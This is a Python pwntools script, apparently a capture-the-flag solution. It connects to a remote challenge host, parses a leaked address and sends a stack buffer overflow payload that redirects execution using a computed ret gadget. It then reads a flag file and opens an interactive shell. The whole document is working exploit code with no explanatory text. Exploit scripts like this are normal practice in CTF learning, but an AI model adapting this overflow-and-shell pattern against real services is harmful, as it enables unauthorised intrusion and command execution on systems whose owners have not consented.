from pwn import *
host = '49.232.142.230'
port = 10684
p = remote(host, port)

elf = ELF("./pwn")
rop = ROP(elf)

ret = rop.find_gadget(['ret']).address

p.recvuntil(b'challenge. ')
leak = int(p.recv(14), 16)
log.info(f"leak --> {hex(leak)}")

payload = b'a'*(0x50 + 0x8) + p64(leak - 0x1179 + ret) + p64(leak)

p.sendline(payload)

p.sendline(b'cat flag.txt')

p.interactive()